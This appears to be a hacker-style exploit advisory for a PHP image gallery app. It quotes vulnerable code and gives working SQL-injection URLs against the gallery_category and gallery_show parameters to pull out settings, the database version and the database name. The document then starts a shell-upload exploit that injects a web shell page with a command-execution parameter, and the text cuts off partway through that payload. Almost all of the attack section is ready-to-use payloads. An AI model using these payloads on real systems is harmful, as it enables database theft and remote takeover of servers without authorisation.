<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-------
INTRO:
-------


This is a crazy app, admin zone isn't protected, perhaps it needs a .htaccess file. Database doesn't store

information about users (or admin).


------------
FILES VULN:
------------

Path --> [HOME_PATH]/example.php

..

if($_GET[gallery_category]){

	getGalleryImage($_GET[gallery_category], $_GET[gallery_show], true, "both", 450, "");

}

..

Path --> [HOME_PATH]/st_admin/gallery_output.php

..

function getGalleryImage($album, $image, $showAlbum, $posNav, $maxWidth){ 

if($showAlbum){    

	$abfrage = "SELECT * FROM ".$db_prefix."gallery_category WHERE id = '$album'";   
	$ergebnis = mysql_query($abfrage);   
..
  
}  
$abfrage = "SELECT * FROM ".$db_prefix."gallery_images WHERE category = '$album'";  
$ergebnis = mysql_query($abfrage); 

..


-------------------
PROOFS OF CONCEPT:
-------------------


GET vars --> gallery_category and gallery_show


PoC-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*


Return --> gallery_path = ... (**take note)


PoC-2: http://127.0.0.1/st-gallery/example.php?gallery_category=1&gallery_show=-1%27+union+all+select+1,version(),database(),4,5,6/*


Return --> version and databse


-------------------------
EXPLOITS (SHELL UPLOAD):
-------------------------


<<<<---------++++++++++++++ Condition: Permission to create files +++++++++++++++++--------->>>>


[COMPLETE-PATH] --> (**use note)


Ex-1: http://[HOST]/[HOME_PATH]/example.php?gallery_category=-1%27+UNION+ALL+SELECT+'<HTML><title>SHELL BY --Y3NH4CK3R--></title><body text=ffffff bgcolor=000000><center><h1>YOUR SHELL IS ON!<br></h1></center><br><br><font color=ff0000><h2>Get var (cmd) to execute comands.
